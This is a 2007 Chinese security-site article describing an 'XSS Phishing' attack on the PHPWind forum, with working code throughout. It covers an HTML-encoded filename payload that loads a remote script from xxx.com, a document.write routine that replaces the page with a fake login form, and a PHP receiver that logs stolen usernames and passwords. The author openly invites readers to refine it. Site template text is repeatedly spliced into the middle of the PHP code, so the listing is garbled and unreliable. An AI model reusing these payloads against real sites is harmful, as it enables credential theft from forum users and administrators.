安全中国首页 > 文章中心 > 跨站技术文章
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:download.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 

XSS Phishing--新式跨站脚本攻击方式

更新时间:2007-8-9 4:28:20
责任编辑:池天
热 点:
注意:文章首发IT168安全频道,后由原创作者友情提交到邪恶八进制技术论坛,转载请注明原始出处。

最近跨站脚本漏洞好像比较火,国内的一些比较出名的WEB程序都陆续暴出了跨站脚本漏洞,但是一提到跨站脚本漏洞的攻击方式大家都哑火了,因为在常规的概念中这种漏洞最多是挂网页木马,获取COOKIE之类,属于典型的鸡肋漏洞,甚至有些牛人也开始不看好这类漏洞!

跨站脚本攻击最大的魅力是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,甚至可以模拟用户当前的操作,其实很多人写过类似的跨站脚本攻击方式,国内如玄猫写过关于QQ跨站利用方法、幻影的jno写过的网易同学录跨站方法、还有剑心写的牛B的AJAX XSS等.

除开以前的同志发表的攻击方式,我这里介绍一种新式攻击方法:XSS Phishing(跨站脚本钓鱼攻击),利用这种方式可以直接盗取用户的密码,下面我就拿最近PHPWIND论坛所暴出的XSS做一下演示,PHPWIND对上传文件名没有处理严格,导致可以写入跨站脚本.

先做一个简单的测试,发一篇新帖,在附件中随意写入一个本地路径加带“<” 和“>”的文件名,如图一

发帖成功后我们会发现,帖子附件名已经没有了,如图二

我们查看当前页面的源代码会发现<xss>已经写到页面内,如图三

当然要写入脚本,PHPWIND还是做了限制,文件名中出现"(","/"字符将会被过滤,不过可以利用HTML转码的方式绕过这个限制,如


Copy code
<TABLE BACKGROUND=javscript:alert(/xss/)>

转换成


Quote:
<TABLE BACKGROUND=javascript:alert(/xss/)>//这里邪八论坛给转义拉,郁闷,是&#ASC格式

这样我们已经实现了跨站脚本的写入,关键是怎么实现攻击,这一处跨站脚本漏洞进行了HTML转码,我们不方便写入过长的内容,那么就加载一个JS文件,动态创建一个script标记,代码如下:


Copy code
<TABLE BACKGROUND=javascript:s=document.createElement("script");s.src="http://xxx.com/xss.js";document.body.appendChild(s);>

OK,到了这一步我们就可以在JS中任意构造我们的攻击代码,攻击的思路是当用户访问帖子,利用脚本清空当前页面,然后重新写成钓鱼页面.

首先我们可以实验一下,javacript有一个小特性,延时输出将会清空当前页面所有的内容,代码如下:


Copy code

function Phish(){
info =    "我是来钓鱼的!"
document.write(info);
}
function doit(){
setTimeout("Phish()", 1000 );
}doit()

如图四,帖子页面的代码和内容全变成了“我是来钓鱼的!”


想一想,如果我们把info变量的内容变成HTML代码会怎样,如图五


嘿嘿,邪恶一点!我们完全可以把页面变成一个自己操纵的登录页面,将表单的值指向远程服务器上的程序,如图六.

然后远程服务器上的程序将接受表单POST的用户和密码,当然我们可以做巧妙点,让其访问后又转跳回论坛首页,代码如下:


Copy code

    <?php
              // 转跳回设置的主页
        Header("Location:  [url]http://www.phpwind.com[/url]");  
    if(isset( XSS Phishing--新式跨站脚本攻击方式_安全中国_全球最大网络安全培训门户
 
 
安全中国首页 > 文章中心 > 跨站技术文章
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:download.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 

XSS Phishing--新式跨站脚本攻击方式

更新时间:2007-8-9 4:28:20
责任编辑:池天
热 点:
$Content$
 
相关文章
一日一文章
 
一日一软件
一日一动画
 
POST['pwuser']) && isset( XSS Phishing--新式跨站脚本攻击方式_安全中国_全球最大网络安全培训门户
 
 
安全中国首页 > 文章中心 > 跨站技术文章
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:download.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 

XSS Phishing--新式跨站脚本攻击方式

更新时间:2007-8-9 4:28:20
责任编辑:池天
热 点:
$Content$
 
相关文章
一日一文章
 
一日一软件
一日一动画
 
POST['pwpwd'])) {
        
        // 设置一个路径保存文件
        $file_path = "/usr/local/apache/htdocs/pass.txt";
        $file = @fopen($file_path, "a");
        
        // 保存提交的用户名和密码字符串
        $string = "User: ".  XSS Phishing--新式跨站脚本攻击方式_安全中国_全球最大网络安全培训门户
 
 
安全中国首页 > 文章中心 > 跨站技术文章
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:download.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 

XSS Phishing--新式跨站脚本攻击方式

更新时间:2007-8-9 4:28:20
责任编辑:池天
热 点:
$Content$
 
相关文章
一日一文章
 
一日一软件
一日一动画
 
POST['pwuser'] ." and Pass: ".  XSS Phishing--新式跨站脚本攻击方式_安全中国_全球最大网络安全培训门户
 
 
安全中国首页 > 文章中心 > 跨站技术文章
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:download.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 

XSS Phishing--新式跨站脚本攻击方式

更新时间:2007-8-9 4:28:20
责任编辑:池天
热 点:
$Content$
 
相关文章
一日一文章
 
一日一软件
一日一动画
 
POST['pwpwd'] . "\n";
        
        // 向文件写入密码
        @fwrite($file, $string);
        @fclose($file);
    }
    ?>


最后我们便完成了钓鱼的过程,管理员访问我们的帖子,马上重写当前页面,设置一个重新登录的陷阱,盗取用户名和密码,全部过程只在没有察觉的一瞬间.

这类攻击方式危害很大,文中的原始代码只是描叙一下思路,有很多破绽,当然如果你够邪恶的话,完全可以自己重写代码,钓鱼于无形之中.

提醒一下,跨站脚本不仅仅是简单的挂马,XSS Phishing(跨站脚本钓鱼攻击)只是一个简单的开始!

 
相关文章
一日一文章
 
一日一软件
一日一动画